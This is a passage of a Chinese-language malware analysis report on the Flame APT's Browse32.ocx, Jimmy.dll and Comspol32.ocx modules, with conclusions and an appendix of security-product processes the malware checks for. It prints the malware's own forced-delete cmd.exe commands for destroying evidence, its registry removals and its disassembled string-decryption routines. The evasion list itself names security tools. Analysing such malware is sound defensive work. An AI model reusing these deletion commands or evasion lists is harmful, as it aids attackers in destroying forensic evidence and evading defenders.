  00152A68  00 2E 00 57 00 49 00 4E 00 44 00 4F 00 57 00  5F  ...W.I.N.D.O.W._
  00152A78  00 53 00 41 00 4D 00 50 00 4C 00 45 00 5F 00  52  .S.A.M.P.L.E._.R
  00152A88  00 41 00 54 00 45 00 FF EC 98 63 FF FF FF FF  FF  .A.T.E.鞓c
  00152A98  FF FF FF FF FF FF FF 06 04 00 00 00 00 00 00  00  ???????????????   
  00152AA8  DE 63 59 11 03 66 00 00 00 F7 00 00 00 9C 00  00  辌Y  f...?..?.
  00152AB8  00 FF FE 52 00 45 00 41 00 52 00 5F 00 57 00 49  ..E.A.R._.W.I
  00152AC8  00 4E 00 44 00 4F 00 57 00 2E 00 4E 00 4F 00  54  .N.D.O.W...N.O.T
  00152AD8  00 5F 00 49 00 4E 00 54 00 45 00 52 00 45 00  53  ._.I.N.T.E.R.E.S
  00152AE8  00 54 00 49 00 4E 00 47 00 5F 00 50 00 52 00  4F  .T.I.N.G._.P.R.O
  00152AF8  00 43 00 45 00 53 00 53 00 45 00 53 00 5F 00  49  .C.E.S.S.E.S._.I
  00152B08  00 4E 00 54 00 45 00 52 00 56 00 41 00 4C 00  44  .N.T.E.R.V.A.L.D
  00152B18  E5 9E 9F FF FF FF FF FF FF 06 04 00 00 00 00  00  鍨????????????
  00152B28  00 00 DE 63 59 11 03 56 00 00 00 79 01 00 00  04  ..辌YV...y??????
  00152B38  01 00 00 FF FE 52 00 45 00 41 00 52 00 5F 00  57  ...E.A.R._.W
  00152B48  00 49 00 4E 00 44 00 4F 00 57 00 2E 00 49 00  4E  .I.N.D.O.W...I.N
  00152B58  00 54 00 45 00 52 00 45 00 53 00 54 00 49 00  4E  .T.E.R.E.S.T.I.N
  00152B68  00 47 00 5F 00 50 00 52 00 4F 00 43 00 45 00  53  .G._.P.R.O.C.E.S
  00152B78  00 53 00 45 00 53 00 2E 00 73 00 69 00 7A 00  65  .S.E.S...s.i.z.e?
  00152B88  00 F4 2A D4 62 FF FF FF FF FF FF FF FF FF 06  04  .?詁???????
  00152B98  00 00 00 00 00 00 00 DE 63 59 11 03 58 00 00  00  .......辌YX...
  00152BA8  EE 01 00 00 86 01 00 00 FF FE 52 00 45 00 41  00  ?..?...E.A.
  00152BB8  52 00 5F 00 57 00 49 00 4E 00 44 00 4F 00 57  00  R._.W.I.N.D.O.W.
  00152BC8  2E 00 49 00 4E 00 54 00 45 00 52 00 45 00 53  00  ..I.N.T.E.R.E.S.
  00152BD8  54 00 49 00 4E 00 47 00 5F 00 50 00 52 00 4F  00  T.I.N.G._.P.R.O.
  00152BE8  43 00 45 00 53 00 53 00 45 00 53 00 2E 00 66  00  C.E.S.S.E.S...f.
  00152BF8  69 00 72 00 73 00 74 00 98 6B 24 F8 FF FF FF  FF  i.r.s.t.榢$?
  00152C08  FF FF FF 06 04 00 00 00 00 00 00 00 DE 63 59  11      辌Y
  00152C18  03 56 00 00 00 63 02 00 00 FB 01 00 00 FF FE  52  V...c..?..
  00152C28  00 45 00 41 00 52 00 5F 00 57 00 49 00 4E 00  44  .E.A.R._.W.I.N.D
  00152C38  00 4F 00 57 00 2E 00 49 00 4E 00 54 00 45 00  52  .O.W...I.N.T.E.R
  00152C48  00 45 00 53 00 54 00 49 00 4E 00 47 00 5F 00  50  .E.S.T.I.N.G._.P
  00152C58  00 52 00 4F 00 43 00 45 00 53 00 53 00 45 00  53  .R.O.C.E.S.S.E.S
  00152C68  00 2E 00 6C 00 61 00 73 00 74 00 C5 77 91 31  FF  ...l.a.s.t.舧?
  00152C78  FF FF FF FF FF FF FF FF 06 04 00 00 00 01 00  00  ………………
  00152C88  00 BB 04 E5 A9 03 56 00 00 00 D8 02 00 00 70  02  .?濠V...?..p
  00152C98  00 00 FF FE 52 00 45 00 41 00 52 00 5F 00 57  00  ...E.A.R._.W.
  00152CA8  49 00 4E 00 44 00 4F 00 57 00 2E 00 49 00 4E 00  I.N.D.O.W...I.N.
  00152CB8  54 00 45 00 52 00 45 00 53 00 54 00 49 00 4E  00  T.E.R.E.S.T.I.N.
  00152CC8  47 00 5F 00 50 00 52 00 4F 00 43 00 45 00 53  00  G._.P.R.O.C.E.S.
  00152CD8  53 00 45 00 53 00 2E 00 66 00 72 00 65 00 65  00  S.E.S...f.r.e.e.
  00152CE8  39 8A 88 A6 FF FF FF FF FF FF FF FF FF 06 04  00  9妶 ?.??.....
00152CF8  00 00 00 00 00 00 DE 63 59 11 03 50 00 00 00  4D  ......辌Y???P...M
  00152D08  03 00 00 E5 02 00 00 FF FE 52 00 45 00 41 00  52  ..?...E.A.R
  00152D18  00 5F 00 57 00 49 00 4E 00 44 00 4F 00 57 00  2E  ._.W.I.N.D.O.W..
  00152D28  00 49 00 4E 00 54 00 45 00 52 00 45 00 53 00  54  .I.N.T.E.R.E.S.T
  00152D38  00 49 00 4E 00 47 00 5F 00 54 00 49 00 54 00  4C  .I.N.G._.T.I.T.L
  00152D48  00 45 00 53 00 2E 00 73 00 69 00 7A 00 65 00  BE  .E.S...s.i.z.e.
  00152D58  97 A6 8A FF FF 06 04 00 00 00 00 00 00 00 DE  63  棪?.......辌 
  00152D68  59 11 06 04 00 00 00 00 00 00 00 DE 63 59 11  06  Y.......辌Y
  00152D78  04 00 00 00 01 00 00 00 BB 04 E5 A9 0C 1E 00  00  ......?濠.‑..
  00152D88  00 00 00 00 00 A3 C4 0C 69 FF FF FF FF FF FF  FF  .....D.i
  00152D98  FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  FF               
  00152DA8  FF FF FF 03 52 00 00 00 B5 03 00 00 5A 03 00  00  R...?..Z..
  00152DB8  FF FE 52 00 45 00 41 00 52 00 5F 00 57 00 49  00  .E.A.R._.W.I.
  00152DC8  4E 00 44 00 4F 00 57 00 2E 00 49 00 4E 00 54  00  N.D.O.W...I.N.T.
  00152DD8  45 00 52 00 45 00 53 00 54 00 49 00 4E 00 47  00  E.R.E.S.T.I.N.G.
  00152DE8  5F 00 54 00 49 00 54 00 4C 00 45 00 53 00 2E  00  _.T.I.T.L.E.S...
  00152DF8  66 00 69 00 72 00 73 00 74 00 B1 7F F6 66 03  50  f.i.r.s.t.?鰂P
  00152E08  00 00 00 C2 03 00 00 03 04 00 00 FF FE 52 00  45  ...?.....E
  00152E18  00 41 00 52 00 5F 00 57 00 49 00 4E 00 44 00  4F  .A.R._.W.I.N.D.O
  00152E28  00 57 00 2E 00 49 00 4E 00 54 00 45 00 52 00  45  .W...I.N.T.E.R.E
  00152E38  00 53 00 54 00 49 00 4E 00 47 00 5F 00 54 00  49  .S.T.I.N.G._.T.I
  00152E48  00 54 00 4C 00 45 00 53 00 2E 00 6C 00 61 00  73  .T.L.E.S...l.a.s
  00152E58  00 74 00 8C 30 08 74 FF FF 03 50 00 00 00 CF  03  .t.?tP...?
  00152E68  00 00 5E 04 00 00 FF FE 52 00 45 00 41 00 52  00  ..^...E.A.R.
  00152E78  5F 00 57 00 49 00 4E 00 44 00 4F 00 57 00 2E  00  _.W.I.N.D.O.W...
  00152E88  49 00 4E 00 54 00 45 00 52 00 45 00 53 00 54  00  I.N.T.E.R.E.S.T.
  00152E98  49 00 4E 00 47 00 5F 00 54 00 49 00 54 00 4C  00  I.N.G._.T.I.T.L.
  00152EA8  45 00 53 00 2E 00 66 00 72 00 65 00 65 00 62  62  E.S...f.r.e.e.bb
  00152EB8  91 78 FF FF                                      憍
  整理后得到的明文字符串列表如下: 
  EAR_WINDOWDESKTOP_SAMPLE_RATE
  EAR_WINDOWWINDOW_SAMPLE_RATE
  EAR_WINDOWNOT_INTERESTING_PRCESSES_INTERVALD
  EAR_WINDOWINTERESTING_PROCESSESsize
  EAR_WINDOWINTERESTING_PROCESSESfirst
  EAR_WINDOWINTERESTING_PROCESSESlast
  EAR_WINDOWINTERESTING_PROCESSESfree
  EAR_WINDOWINTERESTING_TITLESsize
  EAR_WINDOWINTERESTING_TITLESfirst
EAR_WINDOWINTERESTING_TITLESlast
  EAR_WINDOWINTERESTING_TITLESfree
3.8 Browse32.ocx模块分析
Browse32.ocx是“火焰”病毒运行后从远程服务器下载的模块,我们通过对此模块的分析了解到,此模块是用来删除恶意软件所有痕迹,防止取证分析。Browse32.ocx运行后会把恶意软件创建的所有文件写入垃圾字符覆盖,然后在删除这些文件,以防止任何人获得感染有关的信息的磁盘。
获取文件属性,文件列表参见附录五(详见附录五:Browse32.ocx模块遍历计算机系统中是否有如下文件列表),然后设置文件属性为Normal,获取文件大小,如果不为空,则根据文件大小,写入同样字节数的垃圾数据覆盖,然后在写入00数据覆盖(防止文件恢复)。
"C:\WINDOWS\system32\cmd.exe"  /c rd /s /q "C:\Program Files\Common Files\Microsoft  Shared\MSSecurityMgr"
  "C:\WINDOWS\system32\cmd.exe"  /c rd /s /q "C:\Program Files\Common Files\Microsoft Shared\MSAudio"
  "C:\WINDOWS\system32\cmd.exe"  /c rd /s /q "C:\Program Files\Common Files\Microsoft  Shared\MSAuthCtrl"" 
  "C:\WINDOWS\system32\cmd.exe"  /c rd /s /q "C:\Program Files\Common Files\Microsoft  Shared\MSSndMix"" 
  "C:\WINDOWS\system32\cmd.exe"  /c del /q /f 
  C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~*"                                                             
  "C:\WINDOWS\system32\cmd.exe"  /c del /q /f C:\WINDOWS\system32\ssi*" 
  "C:\WINDOWS\system32\cmd.exe"  /c del /q /f C:\WINDOWS\system32\aud*" 
  "C:\WINDOWS\system32\cmd.exe"  /c del /q /f C:\WINDOWS\system32\tok*" 
  "C:\WINDOWS\system32\cmd.exe"  /c del /q /f C:\WINDOWS\system32\lrl*" 
动态调用注册表相关函数 
  函数查看并删除注册表键值 
  HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa: 
  Authentication Packages:”mssecmgr.ocx”
  重复设置随机键值(A开头字母数字结合9位),并删除。 
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation: 
  StandardSize:                       
  文件中发现大量对如下算法的调用。 
  算法的运算方法如下: 
  M=(0xbh+N)*(N+0xbh+0xch)
  注:N是要解密的字符距起始字符的距离。 
  AL=(M1)^(M2)^(M3)^(M4)
  Decrypted data = Encrypted data – AL
  解密时,用密文减去该密钥,即可得到明文。 
图 3-36AL=(M1)^(M2)^(M3)^(M4)
解密数据代码: 
  该函数没有参数,数据的传递是通过寄存器edx和eax传递的两个隐参数。 
0x1000C826  proc near
  
                test    edx, edx
  
                push    esi
  
                mov     esi, eax
  
                jbe     short 0x1000C860
      
                push    ebx
  
                push    edi
  
                push    0Bh
  
                pop     edi
  
                sub     edi, esi
  
0x1000C834:
  
                lea     ecx, [edi+esi]
  
                lea     eax, [ecx+0Ch]
  
                imul    eax, ecx        ; (0xbh+N)*(N+0xbh+0xch)
  
                add     eax, dword_10067168
      
                mov     ecx, eax
  
                shr     ecx, 18h
  
                mov     ebx, eax
  
                shr     ebx, 10h
  
                xor     cl, bl
  
                mov     ebx, eax
  
                shr     ebx, 8
  
                xor     cl, bl
  
                xor     cl, al
  
                sub     [esi], cl
  
                inc     esi
  
                dec     edx
  
                jnz     short 0x1000C834
      
                pop     edi
  
                pop     ebx
  
0x1000C860:
  
                pop     esi
  
                retn
  
0x1000C826  endp
  
对该函数的调用有2个。
  
调用1代码如下:
  
0x1000C8A8    proc near
  
                push    ebp
  
                mov     ebp, esp
  
                push    ebx
  
                push    esi
  
                push    edi
  
                mov     eax, eax
  
                push    ebx
  
                push    eax
  
                pop     eax
  
                pop     ebx
  
                pusha
  
                popa
  
                mov     esi, [ebp+8]
  
                cmp     word ptr [esi+10h], 0
  
                jnz     short 0x1000C8C9
      
                mov     al, al
  
                mov     ah, ah
  
                lea     eax, [esi+14h]
  
                jmp     short 0x1000C8E9
      
0x1000C8C9:
  
                movzx   edx, word ptr [esi+12h]
  
                lea     ebx, [esi+14h]
  
                mov     eax, ebx
  
                call    0x1000C826
      
                and     word ptr [esi+10h], 0
  
                cmp     eax, 0
  
                jz      short 0x1000C8E5
      
                nop
  
                mov     edi, edi
  
                nop
  
0x1000C8E5:
  
                mov     esi, esi
  
                mov     eax, ebx
  
0x1000C8E9:
  
                pop     edi
  
                pop     esi
  
                pop     ebx
  
                pop     ebp
  
                retn
  
0x1000C8A8  endp
  
1000C8A8  函数被调用340次。 
  函数需要一个参数: 
  各个调用代码并无明显差异,随机取一处得到代码情况如下: 
  0x100010C6                 push    0x10064C48
  0x100010CB                 call    0x1000C8A8
  从函数1000C8A8中可以发现压入的数据结构如下: 
DWORD*4:unknow
                | 
    WORD:sign
                | 
    WORD:length:N
                | 
    WORD*N: Encrypted data
                | 
    ??:unknow
                | 
  
调用2代码如下:
0x1000C862  proc near
  
                push    ebp
  
                mov     ebp, esp
  
                push    ebx
  
                push    esi
  
                push    edi
  
                mov     eax, eax
  
                push    ebx
  
                push    eax
  
                pop     eax
  
                pop     ebx
  
                pusha
  
                popa
  
                mov     ebx, [ebp+8]
  
                cmp     byte ptr [ebx+8], 0
  
                jnz     short 0x1000C882
      
                mov     al, al
  
                mov     ah, ah
  
                lea     eax, [ebx+0Bh]
  
                jmp     short 0x1000C8A3
      
0x1000C882:
  
                movzx   edx, word ptr [ebx+9]
  
                lea     eax, [ebx+0Bh]
  
                mov     [ebp+8], eax
  
                call    0x1000C826
      
                cmp     eax, 0
  
                jz      short 0x1000C89A
      
                nop
  
                mov     edi, edi
  
                nop
  
0x1000C89A:
  
                mov     esi, esi
  
                mov     eax, [ebp+8]
  
                mov     byte ptr [ebx+8], 0
  
0x1000C8A3:
  
                pop     edi
  
                pop     esi
  
                pop     ebx
  
                pop     ebp
  
                retn
  
0x1000C862  endp
  
函数1000C862被调用两次: 
  该函数需要一个参数: 
  各个调用代码并无明显差异,随机取一处得到代码如下:
  0x1004046F                 push    0x1005C268
  0x10040474                 call     0x1000C862
  从函数1000C862中可以发现压入的数据结构如下: 
DWORD*2:unknow
                | 
    BYTE:sign
                | 
    WORD:length:N
                | 
    WORD*N:Encrypted
      data
                | 
    ??:unknow
                | 
  
3.9 Jimmy.dll模块分析
Jimmy.dll是“火焰”病毒运行后从146资源文件中释放出来的,我们通过对此模块的分析了解到,此模块的作用为收集用户计算机信息,包括窗体标题、注册表相关键值信息,计算机名,磁盘类型等。
文件中发现大量对如下算法的调用。 
  算法的运算方法如下: 
  M=(0xbh+N)*(N+0xbh+0x6h)+0x58h
  注:N是要解密的字符距起始字符的距离。 
  解密时,用密文减去该密钥,即可得到明文。 
  AL=(M1)^(M2)^(M3)^(M4)
  Decrypted data = Encrypted data –  AL

图 3-37 AL=(M1)^(M2)^(M3)^(M4)
解密数据代码:
0x1000D9DC    proc near
  
                test    edx, edx
  
                push    esi
  
                mov     esi, eax
  
                jbe     short 0x1000DA13
      
                push    ebx
  
                push    edi
  
                push    0Bh
  
                pop     edi
  
                sub     edi, esi
  
0x1000D9EA:
  
                lea     ecx, [edi+esi]
  
                lea     eax, [ecx+6]
  
                imul    eax, ecx
  
                add     eax, 58h
  
                mov     ecx, eax
  
                shr     ecx, 18h
  
                mov     ebx, eax
  
                shr     ebx, 10h
  
                xor     cl, bl
  
                mov     ebx, eax
  
                shr     ebx, 8
  
                xor     cl, bl
  
                xor     cl, al
  
                sub     [esi], cl
  
                inc     esi
  
                dec     edx
  
                jnz     short 0x1000D9EA
      
                pop     edi
  
                pop     ebx
  
0x1000DA13:
  
                pop     esi
  
                retn
  
0x1000D9DC    endp
  
0x1000D9DC函数被调用两次,调用位置如下:
  
第一处调用:
  
0x10016610    proc near
  
                cmp     word ptr [esi+10h], 0
  
                jnz     short 0x1001661B
      
                lea     eax, [esi+14h]
  
                retn
  
0x1001661B:
  
                movzx   edx, word ptr [esi+12h]
  
                push    edi             
      
                lea     edi, [esi+14h]
  
                mov     eax, edi
  
                call    0x1000D9DC
      
                and     word ptr [esi+10h], 0
  
                mov     eax, edi
  
                pop     edi
  
                retn
  
0x10016610    endp
  
0x10016610函数被调用113次:
  
函数需要参数如下:
  
DWORD*4: unknow
                  | 
      WORD:sign
                  | 
      WORD:length:
        N
                  | 
      WORD*N:Encrypted
        data
                  | 
      ??:unknow
                  | 
    
第二处调用:
  
0x1001A0EF    proc near
  
                movzx   edx, word ptr [esi+9]
  
                push    edi
  
                lea     edi, [esi+0Bh]
  
                mov     eax, edi
  
                call    0x1000D9DC
      
                mov     eax, edi
  
                mov     byte ptr [esi+8], 0
  
                pop     edi
  
                retn
  
0x1001A0EF    endp
  
0x1001A0EF函数被调用4次:
  
函数需要参数如下:
  
DWORD*2:unknow
                  | 
      BYTE:sign
                  | 
      WORD:length:N
                  | 
      WORD*N:
        Encrypted data
                  | 
      ??:unknow
                  | 
    
3.10 Comspol32.ocx模块分析
Comspol32.ocx是“火焰”病毒运行后释放的病毒文件之一,我们通过对此模块的分析了解到此模块的作用为键盘记录和截取屏幕信息。监控URL中包含的一些字符串进行收集敏感信息。和模块Nteps32.ocx基本相同,只有释放的一些文件有变化。 
  释放如下临时文件 
以上临时文件对应着其不同的功能记录文件并做加密处理。例如:键盘记录、截屏信息等。 
  查看系统注册表中是否有KasperskyLab项判断多个版本 
  HKLM\SOFTWARE\KasperskyLab
  HKLM\SOFTWARE\KasperskyLab\AVP6
  HKLM\SOFTWARE\KasperskyLab\protected\AVP7
  该模块包含域名字符串列表信息,当网站地址包含以下字符串时用来监视等操作。 
  用来收集敏感信息,例如登录凭证、Web表单输入数据、cookie数据等。 
模块还包含一个用于监测网络安全进程的列表,此列表数量在130左右个进程,都是国外一些防火墙产品、反病毒产品和一些安全产品等。和模块Nteps32.cox列表相同可详见附录四(附录四:Nteps32.ocx模块检测反病毒软件进程列表,其中有些进程也在别的模块中出现过。) 
  该模块有键盘记录功能和截取屏幕功能主要使用的函数如下: 
文件中发现大量对如下算法的调用。 
  算法的运算方法如下:
  M=(0xbh+N)*(N+0xbh+0x6h)
  注:N是要解密的字符距起始字符的距离。 
  AL=(M1)^(M2)^(M3)^(M4)
  解密时,用密文减去该密钥,即可得到明文。 

该函数没有明参数,数据的传递是通过寄存器edx和eax传递的两个隐参数。 
  对该函数的调用有2个。 
  函数sub_10016610被调用306次 
  各个调用代码并无明显差异,随机取一处得到代码情况如下: 
  10001C5C                 push    offset unk_1008A250
  .10001C61                 call    sub_1000A877
  从函数sub_10016610中可以发现压入的数据结构如下: 
DWORD*4:未知
        | 
    WORD:解密标志
        | 
    WORD:解密长度N
                | 
    WORD*N:密文数据
        | 
    ??:未知
        | 
  
函数sub_1001A0EF被主程序调用5次。 
  调用代码并无明显差异,随机取一处得到代码如下:
  1002C197                 push    offset unk_10087CAC
  1002C19C                 call    sub_1000A84C
  从函数sub_10016610中可以发现压入的数据结构如下: 
DWORD*2:未知
        | 
    BYTE:解密标志
        | 
    WORD:解密长度N
                | 
    WORD*N:密文数据
        | 
    ??:未知
        | 
  
注: 
%System32%是一个可变路径.病毒通过查询操作系统来决定当前System文件夹的位置.
%Windir%            WINDODWS所在目录 
%DriveLetter%          逻辑驱动器根目录
%ProgramFiles%           系统程序默认安装目录 
%HomeDrive%          当前启动的系统的所在分区 
%Documents  and Settings%    当前用户文档根目录 
%Temp%              \Documents and Settings\当前用户\Local  Setti ngs\Temp
%System32%           系统的  System32文件夹
总结与展望
从近几年来包括Stuxnet,Duqu和Flame在内的恶意代码攻击事件中,我们可以清晰地看到,攻击者已经不再仅仅通过恶意代码的快速大范围传播获得技术成就感或者获得经济利益。当前的新趋势非常明显,恶意代码正成为APT攻击中最重要的一个因素。 
  这些被用于APT攻击的恶意代码具有这些特点: 
  1. 目的极其明确。攻击者不再追求恶意代码感染主机数,转而追求如何精准地命中特定目标,并有意识地避免其在非目标主机上存活,以延迟被发现的时间。 
  2. 隐蔽性强,存活能力高。这些恶意代码会采用多种内核技术隐藏自身,采用有效的C&C通信方式来保证长期接受指令,采用数字证书避免被检测等。因此,Flame做到了攻击两年后才被发现。 
  3. 代码复杂。此前的恶意代码家族,多为单一功能、类似实现,其变种大量采用自动生成的方式,其开发作为地下产业链的最上游环节,追求高效率实现。而此类恶意代码则通常由专门团队开发,不再追求批量生产,加之功能复杂多变,往往结构极其复杂。这给对其是否恶意的判定带来了不少困难。 
  4. 大量利用零日漏洞。包括用于外网渗透、内网传播、最终攻击,这些恶意代码往往大量地利用各类零日漏洞,因此常规的系统安全保障方法受到挑战。 
  5. 多平台性。这些恶意代码的运行环境既有MS-Office、Adobe Flash Player等文档软件,又有WinCC等工控系统环境,还包括Mac  OS系统、Java平台等非主流环境。当攻击者不再以广泛传播为目的,恶意代码可能运行的环境就具有了无限的可能。 
  6. 攻击过程有序。从搜集资料,开发特定攻击代码,挖掘或购买漏洞,到渗透攻击,内网传播,远程控制等。攻击者有这样的耐心去一步步完成,实现一种让人叹为观止的攻击。 
  在这些特点下,无论是传统的反病毒体系(包括反病毒厂商的后台流水处理体系和部署到用户的软硬件结合检测处置体系),还是传统的安全模型与安全实践,均将遭受严峻地挑战。比如,由于攻击的针对性,传统的恶意代码样本捕获体系难以奏效,实施上,这些被用于APT的恶意代码,最后往往是由用户上报至反病毒厂商;还由于攻击的针对性,样本自动化分析和判定系统也面临失效的可能,无论是环境模拟还是行为触发,都难以实现完全的自动化;对多种环境的零日漏洞分析、漏洞修复也需要各方的积极配合。 
  此外,在此类恶意代码出现之前,反病毒厂商将各类资源集中在如何保护更多用户不被恶意代码攻击上,即专注于一般性恶意代码。这些资源既包括软硬件设施和后台系统,又包括对恶意代码的分析能力积累和技术知识储备。而当此类具有APT特点的恶意代码出现时,反病毒厂商难以再像以往那样做出快速的反应。例如,Kaspersky实验室对Stuxnet和Duqu的分析,就前后进行了几个月的时间。在这个问题上,攻击者可以从容不迫地花数年的时间熟悉和了解特定领域的知识,并展开攻击;而对反病毒厂商来说,与攻击者的差距在将来也许依然存在。 
  即便从非技术的角度,在此类攻击中,安全厂商与用户也处于不利的地位。我们无从知道下一个目标会是谁,也不知道攻击目的是什么。事实上,面对这种由专门的、专业的团队,花费了多年时间和大笔金钱而展开的单点攻击,这种情况已经使我们陷入泥潭。 
  在这种困境下,我们需要做的绝不仅仅是被动地发现、分析、检测并防御这些攻击。整个产业界有必要主动出击,展开基础研究、演练攻防实况、建立新的模型和方法、细粒度了解用户、形成新的有实效性的解决方案等等。而有效的防御体系,同样需要包括系统供应商、软件开发商、硬件制造商的支持与配合,需要所有信息系统使用者共同提高安全意识并付诸实践。攻击者永远会去挑战薄弱的环节,面对这些未知的、看起来强大的威胁,唯有主动、协作,才能让我们更有信心。 
5 附表
附表一
表 5-1为Mssecmgr.ocx文件中的遍历安全进程列表,其列表和其它模块中的一些遍历进程列表中一些进程是相同的。
进程名称
        | 
    说明
        | 
  
TSAnSrf.exe
                | 
    Omniquad
      Anonymous Surfing安全套件相关进程。
          | 
  
xauth_service.exe
                | 
    不详。
        | 
  
fwsrv.exe
                | 
    Jetico
      Personal Firewall 进程 一款全面而又简单易用的个人网络防火墙。
          | 
  
kavmm.exe
                | 
    Kaspersky
      Anti-Virus Personal Pro 5 进程。
          | 
  
acs.exe
                | 
    outpost防火墙的正常进程。
        | 
  
frzstate2k.exe
                | 
    冰点还原软件的进程。
        | 
  
Fsguiexe.exe
                | 
    F-Secure反病毒软件相关程序。
        | 
  
Nvoy.exe
                | 
    Norman AntiVirus杀毒软件相关进程。
        | 
  
SCANWSCS.exe
                | 
    Quick Heal Technologies公司QuickHeal反病毒软。
        | 
  
zerospyware
      lite_installer.exe
                | 
    ZeroSpyware相关组件进程       一款个人隐私防护软件。
        | 
  
ICMON.exe
                | 
    Sophos
      AntiVirus防毒检测的活动监视器进程。
          | 
  
fsdfwd.exe
                | 
    F-Secure
      Anti-Virus相关组件进程。
          | 
  
fsrt.exe
                | 
    Fortres
      Security进程。
          | 
  
Fsm32.exe
                | 
    是F-Secure反病毒软件的一部分。
        | 
  
bdmcon.exe
                | 
    SoftWin公司出品的BitDefender反病毒产品的一部分。
        | 
  
sab_wab.exe
                | 
    SUPERAntiSpyware相关组件进程。
        | 
  
TScutyNT.exe
                | 
    Omniquad
      Ltd公司产品有关进程 。
          | 
  
blackd.exe
                | 
    BlackICE计算机防火墙的一部分。
        | 
  
VSDesktop.exe
                | 
    Virtual
      Sandbox 2.0 Build 209子进程。
          | 
  
DCSUserProt.exe
                | 
    DiamondCS
      ProcessGuard进程 一款系统安全程序。
          | 
  
authfw.exe
                | 
    Authentium
      Firewall进程。
          | 
  
app_firewall.exe
                | 
    NetScaler
      App Firewall进程。
          | 
  
lpfw.exe
                | 
    Lavasoft
      Personal Firewall进程。
          | 
  
FCH32.exe
                | 
    F-Secure
      Anti-Virus进程。
          | 
  
ccEvtMgr.exe
                | 
    Norton
      Internet Security网络安全套装的一部分。
          | 
  
xfilter.exe
                | 
    费尔防火墙的相关进程。
        | 
  
Fsbwsys.exe
                | 
    F-secure反病毒软件的相关程序。
        | 
  
jpf.exe
                | 
    JeticoPersonalFirewall是一款功能全面且简单易用的网络防护软件,可以有效确保计算机免受黑客侵扰。
        | 
  
TSAtiSy.exe
                | 
    Omniquad
      AntiSpy软件进程。
          | 
  
Fsgk32.exe
                | 
    F-Secure反病毒软件相关程序。。
        | 
  
fxsrv.exe
                | 
    不详。
        | 
  
swupdate.exe
                | 
    Sophos
      AntiVirus进程。
          | 
  
almon.exe
                | 
    Sophos
      AutoUpdate产品的一个进程。
          | 
  
EMLPROXY.exe
                | 
    Quick
      Heal AntiVirus进程 一款印度的著名安全软件。
          | 
  
UmxTray.exe
                | 
    TinyFirewall相关进程。TinySoftware出品的一款网络防火墙软件。
        | 
  
NetMon.exe
                | 
    是NetworkMonitor一款用于管理和监测网络状况的软件进程。
        | 
  
Firewall
      2004.exe
                | 
    WyvernWorks
      Firewall 2004软件进程。
          | 
  
pgaccount.exe
                | 
    是关于个人帐户的进程项,当注销后用另一个帐户登录计算机,有可能会出现两个该进程项。
        | 
  
EMLPROUI.exe
                | 
    Quick
      Heal AntiVirus进程。
          | 
  
xcommsvr.exe
                | 
    BitDefender反病毒产品相关程序。
        | 
  
TMBMSRV.exe
                | 
    TMBMSRV.exe是趋势Trend
      Micro出品的PC-cillin反病毒软件的一部分。
          | 
  
umxcfg.exe
                | 
    TinyFirewall相关进程。TinySoftware出品的一款网络防火墙软件。
        | 
  
Kpf4gui.exe
                | 
    是Kerio个人防火墙相关进程。
        | 
  
SpyHunter3.exe
                | 
    SpyHunter反间谍软件进程。
        | 
  
NVCSCHED.exe
                | 
    NVCSched.exe是Norman病毒控制台计划任务程序。
        | 
  
alsvc.exe
                | 
    Sophos
      AntiVirus安全产品中的一个进程。
          | 
  
avguard.exe
                | 
    是AntiVir个人版网络安全套装的一部分。
        | 
  
Fssm32.exe
                | 
    F-Secure反病毒软件相关程序,用于扫描病毒。
        | 
  
DFServEx.exe
                | 
    Deep
      Freeze5(冰点还原)的进程 。
          | 
  
live
      help.exe
                | 
    Windows32的应用程序相关进程。
        | 
  
DF5ServerService.exe
                | 
    Deep
      Freeze5(冰点还原)的进程 。
          | 
  
bdss.exe
                | 
    是BitDefender反病毒软件的一部分。
        | 
  
sched.exe
                | 
    NVCSched.exe是Norman病毒控制台计划任务程序。
        | 
  
jpfsrv.exe
                | 
    JeticoPersonalFirewall的服务进程。
        | 
  
PXConsole.exe
                | 
    Prevx
      Home反间谍软件进程。
          | 
  
ONLINENT.exe
                | 
    Quick
      Heal Total安全产品相关进程。
          | 
  
SSUpdate.exe
                | 
    SUPERAntiSpyware 间谍扫描软件进程。
        | 
  
SpywareTerminator.exe
                | 
    Crawler杀毒软件相关进程。
        | 
  
ONLNSVC.exe
                | 
    F-Secure反病毒软件相关程序。
        | 
  
mpsvc.exe
                | 
    微点主动防御进程。
        | 
  
vsserv.exe
                | 
    是Bull Guard网络安全套装和BitDefender反病毒软件相关程序。
        | 
  
cpf.exe
                | 
    ComodoPersonalFirewall主程序。
        | 
  
UmxPol.exe
                | 
    TinyFirewall相关进程。TinyFirewall是由。
        | 
  
RDTask.exe
                | 
    虚拟光碟相关程序。虚拟光碟是一套集成的CD/DVD刻录和光碟机模拟的软件。
        | 
  
TmPfw.exe
                | 
    tmpfw.exe是趋势公司网络安全软件的一部分。
        | 
  
ike.exe
                | 
    FortiClient软件的SSL
      VPN服务
          | 
  
DFAdmin6.exe
                | 
    冰点还原精灵产品是的一个进程
        | 
  
asr.exe
                | 
    Advanced_Spyware_Remover反间谍软件程序。
        | 
  
FWService.exe
                | 
    PCToolsFirewallPlus的服务进程。
        | 
  
protect.exe
                | 
    Safe'n'Sec 产品中的一个进程。
        | 
  
NJEEVES.exe
                | 
    Norman反病毒产品的一部分。
        | 
  
TMAS_OEMon.exe
                | 
    Trend
      Micro Anti-Spam中的一个进程。
          | 
  
sp_rsser.exe
                | 
    SpywareTerminator反间谍软件相关程序。
        | 
  
WSWEEPNT.exe
                | 
    Sophos
      Anti-Virus进程。
          | 
  
ipcsvc.exe
                | 
    NetVeda
      Safety.Net安全软件进程。
          | 
  
UmxAgent.exe
                | 
    CA
      Anti-Virus相关服务进程。
          | 
  
Umxlu.exe
                | 
    TinyFirewall相关进程。TinyFirewall是由TinySoftware出品的一款网络防火墙软件。
        | 
  
kav.exe
                | 
    卡巴斯基Kaspersky Anti-Virus反病毒产品进程 。
        | 
  
MPF.exe
                | 
    是McAfee网络安全套装软件相关进程,用于保护你的计算机免受网络蠕虫和病毒的威胁。
        | 
  
umxagent.exe
                | 
    CA
      Anti-Virus相关服务进程。
          | 
  
avp.exe
                | 
    卡巴斯基Kaspersky Anti-Virus反病毒产品进程。
        | 
  
TSmpNT.exe
                | 
    Omniquad
      MyPrivacy软件进程。 
          | 
  
fsgk32st.exe
                | 
